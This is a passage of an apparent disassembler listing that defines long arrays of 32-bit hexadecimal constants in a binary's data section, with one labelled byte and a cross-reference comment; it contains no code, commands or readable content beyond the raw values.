0C7612E73h, 0D77CF4E0h, 0C3C5141Fh, 0ADD787ADh, 6D6FE25Dh dd 616382FFh, 0E0B49929h, 0C7796DE7h, 93D46DC3h, 0EF85A4FAh dd 15D7C577h, 0ED41C208h, 4DE7A110h, 92AD94A2h, 0AC785293h dd 813776A5h, 9A03452Fh, 0EDD71734h, 76A9C171h, 71EFD70Bh dd 982DA2C1h, 5171E460h, 943DF2A9h, 0B1221473h, 0B223506Dh dd 3E9BA0BCh, 51E5D77Fh, 0EADE3C7h, 36DA581h, 0E744ED6Ch dd 0C146C397h, 6E6364ADh, 0ADDFC441h, 5DA52376h, 85F7C785h dd 7452BE7h, 8E533CE1h, 0EC46E4DCh, 6BE7BA6Dh, 0EDE44645h dd 0DE5CE700h, 55749E60h, 6B4E1C8Fh, 6332AD53h, 0BE43D05Dh dd 201EAADh, 3CDA84B4h, 0C4465BFFh, 0CB2DD846h, 0C65DED93h dd 0D75431DCh, 0FEC77525h, 0A49D206Dh, 2D8DEAA8h, 10ACC7B2h dd 647E6AAFh, 8755AD91h, 0E060FAD2h, 0FA444D2Bh, 0D571BA34h dd 0ADF54654h, 0D4D601A4h, 0B46DF7C6h, 4E552671h, 0D7F8EDA5h dd 861D45ABh, 0AF21FB2Dh, 2D8D1398h, 71ADE723h, 0CA37848Dh dd 0C751E870h, 0F7EA6DD0h, 0DB4604D6h, 76E7C5ADh, 0ED3C4E58h dd 616343CEh, 1EADFE45h, 4F55296Bh, 0C7C7AD8Dh, 0D6464470h dd 0E4D759ADh, 37FC8617h, 55A2EC3Ah, 86F69FE2h, 2E612DF7h dd 2887AD74h, 0A5AA4C97h, 80D2A26Dh, 6DF54644h, 0C51BC740h dd 0AEF0FEA0h, 46D781E7h, 616DEDF9h, 0EEC7AB20h, 33B34FADh dd 0B9893CF0h, 0E8D1C7BAh, 14EDF904h, 23E8E5D7h, 0F2102D51h dd 0F507692Dh, 6BA3D46Dh, 6D66EBE0h, 4965D7E7h, 87ED9D0Fh dd 286D62E7h, 513AAD9Dh, 0F78545EDh, 672F4366h, 2D8D8B6Dh dd 71ADF711h, 8BF48DC1h, 0B87920F7h, 0F7E2AD5Eh, 0B5A0A00Bh dd 61D787EDh, 74DE8565h, 0E7F9D781h, 0F16DB6E2h, 0C74CDCC7h dd 9D116DECh, 0FD4769EDh, 0E52341ADh, 0EDE50759h, 45EA2C28h dd 4EB4F4C7h, 0B69E82Dh, 0C751ED96h, 84B49E1h, 9D63EB2Dh dd 2DEFC7CAh, 61AC9377h, 0C83499CBh, 47EB8CD7h, 8D736DE5h dd 0C48710E3h, 0AEF48E6Dh, 0EDA9809Dh, 0E1848472h, 5AAD8C61h dd 307014E7h, 2D8E6DD2h, 5E08C8FEh, 471309EDh, 0EDF9C478h dd 59E8C7DFh, 4FF8E02h, 0C6739DC7h, 92C704DAh, 0B9557524h dd 6831FC3Bh, 6DE6C749h, 704EC7C7h, 3F6DE884h, 2F51A4E7h dd 0E705F4A3h, 0FDC5412Ah, 0E1D78703h, 37E58545h, 696BE7FFh dd 413CFBC5h, 0C56D63C0h, 7DD027E9h, 868E41E3h, 3CF786EDh dd 769AF15Ch, 55A6F7DFh, 5D79A24Fh, 84AB4B7Eh, 0F7B63BC8h dd 0CC464835h, 0A2B21BEDh, 9A66271h, 4F9DC70Bh, 0D021E9C5h dd 0C43028E4h, 936AEDEFh, 67B5496Eh, 2DC7B8EDh, 0ADB8E85Dh dd 0D4F1E733h, 1A2DE645h, 0F759EED7h, 0C7E63769h, 0D04600BBh dd 2A51FDADh, 0EDFE0745h, 49A44DF4h, 0E687EF85h, 8C65A5C7h dd 0D70B8680h, 0F3C5D318h, 207102B5h, 77809751h, 61EB606Ah dd 0D177D8C5h, 451EDD7h, 0A1FF2DF5h, 0F80751ADh, 0E1D78679h dd 7FD88555h, 14C0390Fh, 2CBE80BDh, 8E512BA1h, 735C7283h dd 0EBC5D848h, 2CF7406Dh, 0ED25F034h, 0B867D7B8h, 452DCDC6h dd 9C44DED7h, 0C72471A9h, 0D9C5656Dh, 6DE7E4EDh, 0ADE9C769h dd 941E3341h, 26EDE005h, 8469ADF7h, 0F71FF8D8h, 0D7067D25h dd 0E53341B3h, 0ADA1AF59h, 0B03F92AAh, 8BEDF704h, 3361E588h dd 0B3A62D80h, 0E6455D6Bh, 0FEF7E400h, 0E91B09Ch, 0D8D871A7h dd 5C7770AAh, 76BAB163h, 900033B6h, 7A934D64h, 37F77E77h dd 36787320h, 9C66E7FAh, 0CEDA382h, 8B6D2190h, 51A7ADBFh dd 0FAC769A9h, 35F76506h, 3FC3C6E7h, 0F318D086h, 8038B576h dd 0EFF3B4D7h, 0C790BCAFh, 0E2C69F07h, 0AEF7DFF4h, 2D9A4E7Dh dd 492DF768h, 9FC3F7C7h, 0C6616D11h, 334170FDh, 0FA0659ADh dd 37F76677h, 76AA7718h, 3CC4D7C5h, 116D96F6h, 86D83A2Dh dd 0A3522DD5h, 0A7EB59A5h, 0ED5EB96Dh, 7EF78475h, 5D698153h dd 6487831Ch, 2164FAF7h dd 0D7DCEDB0h, 0A3E26409h, 6F786DEDh, 0ED832910h, 5D2E8C0Eh dd 0DC2D9A26h, 9ABEC78Eh, 0C7ADF4AAh, 0E246408Bh, 0AB72EFEDh dd 0ADD0C5A8h, 28C1E7FEh, 0FF2DFE05h, 65DA6E7h, 0E735B7E0h dd 0DA847D6Bh, 0AD7CE43Ch, 77801F41h, 456DD7E7h, 1843E9C7h dd 5151E9F7h, 0F72070B6h, 0D1C641ADh, 0EDD721ADh, 0CBF74765h dd 59EDE714h, 0AA7F5FAAh, 0C74DE631h, 6C236DEDh, 0C20641EDh dd 15C7E631h, 0F698C2B6h, 0A4D7E7BCh, 142D8792h, 11921542h dd 0F73CF698h, 0D0C5B4ABh, 48C73CADh, 2D407EADh, 0B78563CEh dd 5403CA85h, 5652AD7h, 0D79D2DCDh, 5A3D7162h, 2171EC2Dh dd 6DECC545h, 0B30DE785h, 0B2EDE204h, 87596B70h, 0F7477FDFh dd 59BD49EDh, 25D01CEDh, 6DE4C679h, 4893342Ch, 0EAEDF946h dd 438F8E7h, 2E86C2D2h, 44BBBFD1h, 0B9D09CADh, 0BFDB84A8h dd 65A8E7B4h, 0E634BFEEh, 215D6AC7h, 0E709744Fh, 0B169B70Dh dd 0A2A2EC2Dh, 0ADB5CE59h, 69ED910Bh, 44B370AAh, 451AC1Fh dd 0E7BAFCE0h, 9258552Bh, 0FEF7F14Ah, 0F8D80594h, 49A831ECh dd 0EF2DCD84h, 4640DDF7h, 0C09C06C0h, 0A33361A5h, 2B93202Dh dd 0B4CB44BEh, 756BE03Ah, 0A1ADD904h, 0C665A2B3h, 0F7EB2DCDh dd 0A6C65ECh, 0ECB16B9Fh, 0BBD7045Dh, 45EEA377h, 0A737AF41h dd 86D49761h, 0E70B74D0h, 505A50F7h, 5BC7A3ADh, 2DB9EE3Ch dd 0D071E7F1h, 7BADFE86h, 755476F0h, 0F7EE2D8Dh, 0F246082Ch dd 0C5C733ADh, 3AC24478h, 4C30D730h, 772DCD84h, 0EED776F7h dd 5316AD99h, 0AD2F902Fh, 69A1332Dh, 0ADA0F67Dh, 0F478C752h dd 3A2DCBC6h, 4665A17Eh, 0F72C42D9h, 177A456Ah, 70D73134h dd 8480A1DFh, 0AA154019h, 0D36D6EBDh, 6947EC7h, 9D2D2DDAh dd 8C4145A5h, 79C78D2Dh, 37BBE8CCh, 71A598F4h, 40EDC904h dd 9845E692h, 9D506D23h, 79D65A5h, 0F4E7E7D3h, 6DDBC558h dd 64BBF7E1h, 9247F246h, 0E15165AFh, 64AA6DB9h, 0EB06796Bh dd 3D612BFFh, 0B4A869D4h, 0DCDAB355h, 33B3B6CDh, 47E8BB42h dd 0A0F2FFE6h, 8890596Bh, 748350EDh, 0EDE205C0h, 5DEDD754h dd 1A7CDAC4h, 8545A2C7h, 0D7CA6DE5h, 673C65E5h, 0E1E034EDh dd 0EDE20549h, 49EAF779h, 659FF546h, 8C6D6DC7h, 0E7FA427Eh dd 46630047h, 0DBE7F26Dh, 0ADE0C7C7h, 3003E79Ch, 0F12DC1C4h dd 40D63AF7h, 0F7DCFE9Ch, 0E24645A5h, 0F21C1C6Dh, 0AD9122BCh dd 51E54E21h, 0ACED9C20h, 0A2556A6Dh, 0A1A6ED2Ch, 0A58E75ABh dd 3F70B6Dh, 6D83E153h, 4877F71Bh, 0B84FE007h, 0AD5D21C7h dd 6FACED1Dh, 0D0850401h, 4F50B0CFh, 2D409CCBh db 14h byte_444E45 db 62h, 83h, 0A3h ; DATA XREF: .text:off_4305D4o dd 243FF404h, 441EC51h, 710C07D0h, 61EFF03Ah, 2991373Fh dd 6FEC765h, 0F34EAFDBh, 41F46889h, 46C544D7h, 23222DF8h dd 532DE547h, 4623226Dh, 3FDBC742h, 61E45935h, 846DA88Eh dd 1F416BE7h, 0C7CD3799h, 0E40558B3h, 0F7156Dh, 2DBAF7CFh dd 596AF7DFh, 0CFB4BE48h, 7D0FCC7h, 0E7788ECCh, 0D104B3A7h dd 0E4E77433h, 2DE5C769h, 7163C7E1h, 0DF7EA6D6h, 17456BC7h dd 0E7E07489h, 0C0C7703Bh, 8F43D4ADh, 2DA20A7Ch, 0C78DF744h dd 2AED4E5Dh, 6941280Dh, 0BDDCF0F1h, 898959A1h, 6AC7C304h dd 0CDF226Dh, 0BB0F4D84h, 652D17EDh, 0C5EA88A3h, 0D77EF4E8h dd 6C8DDB18h, 7352AEDh, 0FCE7466Eh, 51AE7BEBh, 2A97A611h dd 687818D7h, 0A2AEADA5h, 0CA85616Bh, 0A73B38A6h, 6D7D0859h dd 2F263384h, 4186CA47h, 8B4DE72Bh, 90A8B17Dh, 0A86DC5DFh dd 0F4E781F4h, 0FCB34B64h, 7163434Ch, 8ADFFC5h, 0D1CB3E01h dd 0E736B4AEh, 0C547FF1Ah, 994D44ADh, 0ED2F1D6Ch, 49AC91A6h dd 332DCDADh, 4E78F5C7h, 0CE2DED5Eh, 5D77F4CAh, 27C7E70Fh dd 6D71E920h, 0EB95D79Bh, 0AADC2C7h, 47561A3h, 0F7F7ADE3h dd 0ED05B82Bh, 0E4D7B8ADh, 0EDF4444Dh, 616BD773h, 0D5F7E2C4h dd 3E5926F7h, 0E784FFA0h, 8D5669E2h, 0B4C747BCh, 0ADC14640h dd 75298C24h, 4770A5E0h, 4F036CCh, 0D7F6C0EBh, 0CD872BEBh dd 0E1830AADh, 0B0D0C46Dh, 6DADF2C1h, 96ADD186h, 46448FC7h dd 0B3AB6DC9h, 4EEFFE3Ah, 75C7A72Dh, 0F4E8C5C8h, 9BB5D7EDh dd 0BC6D5E8Dh, 87CB4BADh, 0E496FCDCh, 0F344474Ah, 0AA2DA5FCh dd 2D9AA06Dh, 876B7179h, 85ADAFDBh, 83AF374Ch, 81402DA9h dd 0CB464D2Eh, 23A04147h, 0A7F9371h, 596FB140h, 0FF7C8993h dd 6DB54E7h, 0F7D6ADD0h, 98483AD8h, 0BC81AF2Dh, 2DD6C6C8h dd 416B1E55h, 0F830F9C4h, 555A1F7h, 0F7B533F2h, 62719C82h dd 7FC764F7h, 48F04400h, 6DEFBA57h, 54388D92h, 6F65ADE7h dd 0A16138A9h, 0CB8545ADh, 7F814700h, 0ADE54685h, 0F07488C8h dd 427B3D3Ch, 44F06D4Ah, 728CD2F8h, 0ED054DA2h, 14E7076Dh dd 6DE8C793h, 59E0BC17h, 0FBED039Ah, 0E15331D7h, 0BDCB3AA4h dd 9EE0F4FFh, 0A5C7E26Dh, 0F492216Dh, 407E3399h, 7F6DC146h dd 871FD633h, 68F447E2h, 9E81D5B4h, 0F7F7782Dh, 2DCD07C7h dd 416DD70Ah, 29CC8A61h, 2175AAC7h, 0F730ADA3h, 0D904716Dh dd 62F0B82Dh, 737B937Dh, 412DE7E8h, 9CADB361h, 479A1A3h dd 0C7B88CEAh, 735C7564h, 67783FADh, 0B6283C6Dh, 556B1399h dd 0B9B4F145h, 0DE712B9Dh, 0E750F493h, 8E8B2040h, 0FFF7F18Bh dd 2D9801D0h, 0AEEC53BAh, 42146DE2h, 5F612E60h, 0D7312D8Ch dd 603C49AAh, 0D7F7B6F9h, 2D0CFC28h, 4D7F775h, 0BA2DB0E0h dd 9C452BA1h, 0C7ADAD8Fh, 47A1B0FBh, 89F781B4h, 0EDE52300h dd 9331E7A6h, 0DEAD9035h, 9CC473C7h, 616BBABBh, 0FD84516Bh dd 0A0C7F1BBh, 0B43DF26Dh, 65682101h, 0C53483D9h, 0D86002F7h dd 28B46D92h, 0A2DE7121h, 90E7042Dh, 6DA60381h, 3F90E7CBh dd 0CEF4A8E2h, 6141AAC7h, 0E7B42D93h, 0D1C56125h, 7EC7F5ADh dd 0BE82C1B8h, 692DF21Dh, 40EDF904h, 1F75E1B1h, 0E77A3489h dd 2DA16967h, 0BCC21D00h, 0BBFDC4D4h, 3582448h, 3A0AE285h dd 1B6528C7h, 0D7B8ED85h, 0ADB36D25h, 6BA30AEDh, 79D30559h dd 84EA81DEh, 0BA6D8840h, 0C7E47743h, 0E71FBAFDh, 9F0E4D67h dd 6B9326ADh, 22D38559h, 443ED7E7h, 0E4EDF746h, 22516589h dd 1D8AC4B1h, 0D1C4516Dh, 20C7322Dh, 0ADC18449h, 0A750E787h dd 552DECC5h, 0C565E6E7h, 0E707ADF0h, 0C9C7612Bh, 6DC7FA2Dh dd 0EDAD4128h, 0DCA0C731h, 2A6D8062h, 7712DB3h, 23126DE1h dd 0A5B2496Bh, 65E7B2BCh, 0AD32FF55h, 516DB9BFh, 173D404h dd 834DA2F7h, 939CEDA6h, 979C452Fh, 82F7F6B7h, 6DDCC5F3h dd 6889E7B2h, 0B86DC006h, 335967D7h, 0F74074A3h, 8C433C4Ch dd 7FD7C9BAh, 34E33864h, 4D6B6EFCh, 0B846CB05h, 854D6B91h dd 0C7B830FFh, 0AA7E79A4h, 9DF7DB77h, 0EDF904C8h, 556A6182h dd 492D9C8Fh, 0DE71E141h, 3055BAA4h, 0EC468C51h, 6F93F87Ch dd 7ADDC784h, 75E1D787h, 0F357F685h, 20F03D3Eh, 2ECB6295h dd 6168756Ah, 2831CD8Ah, 3AAF4245h, 4478D7ACh, 0EFC7BBD2h dd 43496B51h, 6FABE7B2h, 514D496Eh, 64A1AF22h, 2D7B6155h dd 7BB5F780h, 0EFF4A97Bh, 81AB3EE7h, 0BB36BC60h, 0AEA47DE0h dd 0E2E7AA6Dh, 0B69F0351h, 792AD7D9h, 0F8BBFE86h, 765A5E7h dd 0E71FEDE4h, 0F94445A4h, 3C7A5ADh, 2DCD84A8h, 0FCFBE723h dd 26ADBCC1h, 6F7DACF7h, 0C725EDA1h, 0E5C78438h, 0CD7ECB3h dd 2DC887FCh, 87F563F5h, 0A5ADE3C7h, 0C769E0D7h, 0C7652DE3h dd 0F14645A0h, 52E71E2Dh, 0ADDB4644h, 649F4308h, 6F2DCEC4h dd 850C3DE7h, 6106ADF6h, 0F506D491h, 0E061DD78h, 37E3C47Dh dd 69ABC7B9h, 1F374792h, 8261A5C7h, 2143EDA0h, 85CD5560h dd 69B1B437h, 8CF6C669h, 743CD7E7h, 472D9DCFh, 0A379ADD7h dd 41A26D6Dh, 0E6C74C53h, 6A31A334h, 0F7B98955h, 7C14E71Bh dd 0E2B3FAC6h, 0C4FCF533h, 0A14CF9DBh, 95CF5125h, 8904DCBh dd 0EDAD82FCh, 71ADA153h, 0E22DD905h, 0C5F04723h, 411517C9h dd 0F9847DA5h, 0ED1D71FFh, 0EDF9C679h, 6C7D3063h, 0E72DA7C9h dd 895B02D7h, 0F7C7ADB2h, 0C70651A1h, 6D51DD78h, 86CD0641h dd 412AA152h, 7E6DB2B1h, 22D4311Dh, 0D00633A5h, 0CEC4FCDDh dd 0DCF761B6h, 0EDF5C7BFh, 65E41D60h, 546DA4E1h, 846377D7h dd 81E56DF1h, 0FEC66920h, 0C0C74456h, 764D2D1Fh, 0FD5FD7EDh dd 6F8FFAC6h, 0C74B5EC7h, 0F7E0B4D3h, 0EF0549E6h, 64C7392Dh dd 0AD99EF71h, 0E07AE7ECh, 0E1EDCE86h, 0C74DE1F7h, 6075EDF1h dd 0E8C545A0h, 0E5D7E174h, 36CE867Dh, 596BE779h, 0E9EDE484h dd 5685CE7h, 0E70D2DECh, 0F8046D6Ch, 6EE7B577h, 767EB561h dd 6D6DD7E1h, 5E2DE406h, 56924C7h, 0C7BF2DD7h, 0EC4471AAh dd 23E7246Dh, 2DD4C569h, 75E2E787h, 0E4B1CEC5h, 551E1F7h dd 0F7FAADF1h, 0C404D40Ch, 0EEA1B72Dh, 77F8846Dh, 0E3CD218Ah dd 0AA6DC484h, 0C1D88DDCh, 0D7C6EDAAh, 980159A8h, 35D7B9EDh dd 34C90470h, 0C47E83D3h, 4B7CD805h, 87656FA1h, 0E7BF74DBh dd 0F40541E9h, 0E5D7E5B4h, 0B1906E65h, 792DC014h, 8FB5B309h dd 9796E40h, 0F0D4AD9Ah, 0E74661E9h, 0EDF707EDh, 0F9F78755h dd 61EDF729h, 55ED46B5h, 0A9A2ACE7h, 0D7DF2DB4h, 0E44679EDh dd 0A5E729EDh, 0ADDD0751h, 97ECC7F0h, 82ADDDC6h, 0C761A141h dd 0D71D2DDBh, 0F0C74036h, 0A9E7FA49h, 0AD8A3779h, 7522B326h dd 0E66DE805h, 975DAEF7h, 0F786ED64h, 0D6C575E2h, 6CC764EDh dd 0F6F4C520h, 556DD24Ch, 4A51CE05h, 0B971E2E7h, 0D0CC2D9Ah dd 0EC0645E6h, 6DF7AB6Dh, 2DDCC7A0h, 49E8DEA8h, 0A8EDE8C7h dd 0B561EFFCh, 0C795ED56h, 0EEC6206Ch, 0AFE7D76Dh, 79CD4620h dd 9B2FE786h, 0A4EDD684h, 176969E7h, 0F70DADBBh, 0A99FABA6h dd 0E4F784EDh, 6DC6C4A7h, 0C874CCAAh, 29EDAEA1h, 0A14D69E7h dd 0E78EED80h, 0DA054D60h, 0EBE7952Dh, 88E4C579h, 5128D7C6h dd 26B0AF60h, 0A18BF1F7h, 0A0E6EDB7h, 0B3F47F95h, 3EC432B5h dd 81CE0570h, 0FC33F729h, 3AF4FE86h, 0A2452F50h, 91C6B990h dd 0FC866DE6h, 0EAF718ADh, 2DF7C771h, 4524F778h, 0E26DCF46h dd 3051A113h, 928660E0h, 0D7064D66h, 0EDD71DADh, 0EDE90451h dd 4DE2C71Ah, 0B870D4C5h dd 0B645A231h, 41E62D93h, 0F9C4BCEDh, 6713E2F4h, 70AE3E45h dd 5925A012h, 582DD284h, 0C74920C7h, 0E0B82DE7h, 0B6E97565h dd 0ED115977h, 34D9447Dh, 0FC92B8D2h, 972DA1EEh, 875A98Dh dd 0F7DF7EBEh, 0AEC15965h, 0A5E7746Dh, 0EDA2C179h, 5D2F61EFh dd 0B3F4E546h, 47D6DD7h, 0C784EDEDh, 0A3FD75AAh, 45F74237h dd 3472D4A3h, 51E0E7E6h, 6CADB571h, 0E2EB5640h, 0C7E92D9Ah dd 0C9C5F47Eh, 25A155B9h, 96D18451h, 0D0C49170h, 0DFFE9FC9h dd 464DE5E7h, 0C7D9BCE5h, 0AFE524AEh, 68E778FBh, 2DCEC6A4h dd 69E0D7B3h, 4E2DFE05h, 6552070h, 52B66DDAh, 0C984E84Dh dd 0AAA110B3h, 2D910D71h, 0D33F0D71h, 0D8734A7Dh, 85C47EC7h dd 0D72BB9C9h, 9DAE59A9h, 0A4F7F82Dh, 9B91094Dh, 708ED03Bh dd 0F8ADBC4Fh, 659A4C7h, 0F7AB37C5h, 99BF6520h, 22F7AB6Dh dd 6D92BF65h, 492090AEh, 0AE8ED784h, 0FFF088B0h, 0A00930B8h dd 0A0E31489h, 0A4A2D234h, 0ED457D59h, 59E9C2FEh, 0DF03A6F9h dd 464163F7h, 0C7F5FBEFh, 0B8B290E3h, 49F7F4F1h, 0BE8C520h dd 89C8D7E3h, 4C47A59Eh, 0EE7D65A1h, 1328EDAEh, 0D0325808h dd 0BFC7B34Fh, 2DC544FFh, 512D7267h, 0B12DD9C4h, 0E271E0E7h dd 0B0573BA8h, 9AFD656Dh, 0C6F7682Dh, 46B2FD26h, 0A40B535Dh dd 5EADF585h, 3E75A56Eh, 6F3A23F0h, 677DE78Bh, 252C290Ch dd 37C5C679h, 0E4F4B3DAh, 39F4C13Dh, 85C4BF0Bh, 22A7F0C8h dd 0C3853447h, 56C7E1CBh, 0EDA9234Ch, 0B446C2FEh, 1084F785h dd 44841191h, 83AAEDFAh, 88F20E9Fh, 46032830h, 0F25F9E94h dd 3A8A62D1h, 0E1ED703Eh, 85A748E7h, 1E4AB7E4h, 4F7E0C4Bh dd 29D7DF03h, 3BBE0979h, 5125C707h, 976DA071h, 0F9C4B6C7h dd 0E7E2EDB0h, 0C3C72823h, 0E9D7E5EDh, 34C5D75h, 200BC7EDh dd 0ADED457Ah, 0C587079Dh, 230312CCh, 0EBC7ABFBh, 0A99009ADh dd 0EDC1C57Dh, 0C40CF764h, 6ADD746h, 0D4A3FAE7h, 0E7D06D9Dh dd 8960849Eh, 6DE7ECADh, 0EDCE4645h, 0E83CD7A4h, 0FFADF384h dd 0C04D2EE7h, 0D7996DAEh, 7D3D7416h, 68D7842Dh, 6DE1C559h dd 65E5D76Bh, 0DD7FA0A0h, 4444B4E7h, 0A3776DC9h, 0BA6D5C08h dd 72E7F737h, 0BCDE85D8h, 796CE7FFh, 0F474EAE3h, 0C5D472E7h dd 0D7C544F0h, 0B1E3D9BDh, 6AB1FBADh, 0AD8DD459h, 0D9BDD7FCh dd 0FBADA9E3h, 3255AB81h, 0E7CEED58h, 0BDA278B4h, 1E10CAADh dd 6D818D08h, 712A5DABh, 5ADED84h, 4455A3F7h, 0E718EDE5h dd 9A56DC78h, 0ADC7262Dh, 4EB4759h, 5923E7B4h, 9D6DD106h dd 448409BFh, 73A3EDDFh, 0F405D4F4h, 3DB1A06Dh, 0EDF1C47Ch dd 49E281FBh, 0E46D9E03h, 7C58C2E7h, 0F7CC6DA8h, 8AE16D2Ah dd 21A11CF2h, 0FF834265h, 5520E77Fh, 0DEAD812Dh, 0C4E4F0E7h dd 0E7A577F4h, 0E304B08Fh, 63696EEDh, 0BCEF8445h, 65697168h dd 4DB4C687h, 0C771255Ch, 0BD92EDD5h, 877E45A1h, 0F7E7F807h dd 33F704FCh, 6DA1E7B0h, 0EFCF8A6Dh, 4C41A262h, 0A110AD71h dd 0A56C6DE2h, 0EFA110ADh, 7CE92C7Dh, 59AAB1FBh, 0D2AD6872h dd 44C7CDE7h, 0A3127FC7h, 5EA86D6Fh, 0E5D7F834h, 0F4F5C645h dd 59295546h, 8A6DA48Dh, 0E1EC45D7h, 0E7E1EDB4h, 0DD8565E4h dd 4D70AB4h, 0ED99A278h, 712A537Dh, 3886F407h, 0C465A47Bh dd 0F707FFEAh, 5EAE45ADh, 76C7E56Dh, 2DA6FFC8h, 0A82DF778h dd 0F9F2C9C6h, 42E447F7h, 55F82D8Eh, 0F2044E0Dh, 0FE7EB67h dd 0AD8D6CEBh, 716FD7D3h, 0A5ADA182h, 8ED878F7h, 6F26AD69h dd 0FA84E872h, 361C4FFh, 785DE90h, 4205D7F4h, 0ED9CCEh dd 4555AD7Dh, 0E77FFCE7h, 4FD349A4h, 0D6D7FC34h, 0FFBAAAE7h dd 41E3A15Fh, 0C5AD858Fh, 0A279A46Fh, 71CEED81h, 0E74545ADh dd 0E551C9FCh, 0ADD1C451h, 0C0726549h, 1B7FC686h, 0AF6DE6A1h dd 4D0D2D6Bh, 0C5444C4Ah, 0A5619BEDh, 77FF8461h, 45E9710Eh dd 894F744Ch, 0C4F3CFD7h, 0E7F6F6C5h, 0EAC45B01h, 6C75316Dh dd 0ED418B7Dh, 5520F707h, 0FC4680F6h, 84552171h, 0A10646C8h dd 8E0B6163h, 7AD7B82Dh, 0FBE784D4h, 6F9FE738h, 0DD37DC45h dd 0EFDD1FF7h, 0D72BAD11h, 0CD46ECB8h, 1E7E9ADh, 3BC1C55Fh dd 79A27DB0h, 0FC4FE545h, 6FD03473h, 25092D66h, 0C8C55DA2h dd 0E061437Fh, 2D8D1571h, 68CFD7F9h, 0E436C8C7h, 44C44CC7h dd 71A8E1CDh, 0E6C7680Fh, 0CEE7E42Dh, 0AD90E3D1h, 0DD90C745h dd 0FC734D88h, 44A421D7h, 0E7ABEDF1h, 0E7C598EDh, 48F7DC6Dh dd 2D556EE7h, 59606EE8h, 3AAD8934h, 4494AD82h, 0F7B171ECh dd 0F405EFC6h, 0B4E7C4F4h, 0EDC54640h, 5D20536Ch, 5ADFE84h dd 445A9F7h, 0E70588C7h, 0E044652Bh, 0A1F7C7B4h, 31E24769h dd 80A9D74Ch, 0CE31E247h, 0C665E6C7h, 0D754ADF2h, 0F384F08Dh dd 0F0C78D31h, 6DC7C4F0h, 0B4A8C7DEh, 50ADD047h, 8575AFF0h dd 0F70C31F3h, 0F54704ABh, 6FC050EDh, 6D8E5671h, 90A8C7E6h dd 4E39C047h, 0B67D65E7h, 0D7DF6D8Ah, 0E207A4A9h, 0A9D78931h dd 31E207ACh, 0B4A8C709h, 50ADF607h, 8465AEF0h, 0C74831F3h dd 92B67DE0h, 0A8C7056Dh, 2DDD0784h, 7D6EF014h, 9C6D9FB6h dd 45556ED2h, 0F7CA31F3h, 0D80710F7h, 2EC050ADh, 6D9AD161h dd 98A8C7A4h, 9531B374h, 0B67DA7C7h, 0D2922DA7h, 0F3C471E9h dd 6AF7D431h, 39F8C630h, 7DE8E754h, 852DA2B6h, 0C684A8C7h dd 0F050ADDDh, 0E2C47569h, 0A9D75731h, 31E2C688h, 90A9D7D6h dd 5631F3C6h, 0C61828F7h, 0E050EDFDh, 0B45671E8h, 0A8C7A62Dh dd 0F8C486ACh, 7966E711h, 502DB1F6h, 5671A8F0h, 0C7642DB3h dd 0D686B8A8h, 68E050EDh, 31F38649h, 7D6DF793h, 632DBFB6h dd 8688A8C7h, 0E0502DCEh, 0F3C56D28h, 0E5F79231h, 2DBBB67Dh dd 5128920Ch, 0F22D8596h, 0C569EBB2h, 0D75D31F3h, 86B67DE9h dd 0ABA2AD2Dh, 31E20649h, 0BCA8C79Ch, 1C39C046h, 0B67D28D7h dd 0C7732D8Dh, 0FD4680A8h, 6BC050ADh, 31F38449h, 7D20F71Fh dd 552D89B6h, 4690A8C7h, 0C72FEDF5h, 0E2856521h, 0C3D75E31h dd 6D5578DFh, 6D6BF705h, 0AE6DAC7Bh, 846D6B20h, 13BE2DF9h dd 0ADA1A0F0h, 0D4326ADh, 2D5D6C28h, 7D69825Ah, 27ED922Dh dd 7E909472h, 0DE9ED98h, 912E0005h, 21110C2Dh, 6D852E41h dd 0D84343AFh, 662D95E3h, 3C65E4CEh, 0C7D98746h, 0ABFF6482h dd 91C73247h, 0ADCD84BBh, 0C78CD78Ah, 2436E106h, 0C47871D7h dd 0D7147FC6h, 0CCC645A5h, 20D71484h, 2DCCC669h, 556DC76Dh dd 0F4A38100h, 0A18703F7h, 0F7E38396h, 463C0803h, 9CC707B3h dd 0ED9D7CCFh, 6D654CBEh, 83ED6D1Ch, 4479ED5Ah, 0F736BCE4h dd 0E884FCB1h, 0E4E7386Dh, 0ED8D3C71h, 79AF7CBEh, 52C6DF44h dd 0C7792D7Ch, 0E7A46DE1h, 9E2DFCF0h, 0F0E7DC6Dh, 0C4C044FCh dd 41A34266h, 0D46DE2C7h, 3C0808E7h, 2281ADBBh, 0AD61EC36h dd 2DF730EDh, 0EDF50449h, 5920F78Bh, 8C2D968Dh, 0C4556DD7h dd 0A16733F2h, 0FEC6456Bh, 0EA912434h, 6DCD4645h, 0F8F0E787h dd 0EABB8537h, 0C749EAB1h, 0A19CEDE3h, 0E8C5A890h, 6B21766Dh dd 34C98561h, 0ECB0E7E5h, 243E927Fh, 66F886C7h, 0C7B3B4B5h dd 0C085B62Eh, 6D91AAB4h, 0EDE1845Dh, 45E0D730h, 80ADFB46h dd 5FC7D03h, 7168FBF2h, 0E9864D2Ah, 0D5E7E1C3h, 2DCD8594h dd 4CCFD7D1h, 0AAEDF944h, 77563A1h, 8137ADF7h, 0C64645A0h dd 153EFD2Dh, 6D94203Ch, 51A2C7A5h, 0DA34CF05h, 4D0B4C7h dd 0C778F4E3h, 0F0C74927h, 25D7DBADh, 0EDF1077Dh, 41AE4197h dd 10EDD606h, 84716DF7h dd 0E7B0B2E9h, 0D8C74965h, 25D7DAADh, 0EDF1075Dh, 5966F720h dd 0A6AD91BBh, 69422D7h, 0D7DA72F7h, 0E9847166h, 0ABC779EDh dd 0EDE64649h, 45E9F75Ah, 19ADE5C4h, 0A14DE241h, 81782DB7h dd 0DEC555A2h, 0E5D7DB34h, 0EDD5C66Dh, 49E1C7E7h, 792DF605h dd 0C745AAE7h, 0E7E3ADEBh, 0FC058C9Dh, 0E9F7472Dh, 0EDE60471h dd 59E9F7C5h, 116DEEC5h, 464DE9F7h, 0C7C5EDEDh, 0D0C5616Ah dd 0EEE765ADh, 0B6FB8565h, 0A811E747h, 65ADCFC6h, 86616DC7h dd 0D755EDD6h, 0F246D43Dh, 0AF7DE34h, 0EDEBC4FCh, 75A070A4h dd 0F12DCD06h, 3A38D3E7h, 91E483A9h, 0A42D7DE4h, 7D83A6ADh dd 2DDD04F0h, 7924A0ADh, 0A6ED9138h, 4644F7A3h, 0E71C2DD1h dd 0D2458705h, 4A603279h, 0D29279B4h, 40F6F752h, 87ADF284h dd 0C57522C7h, 0E7BD2DCDh, 0ACC04568h, 0E9D7646Dh, 0EDCA0745h dd 0C4F2C7BBh, 652DCB46h, 0C7CBF3D7h, 0E730B3F2h, 0D204456Bh dd 0E691DC6Dh, 6DEC8649h, 412AE7B2h, 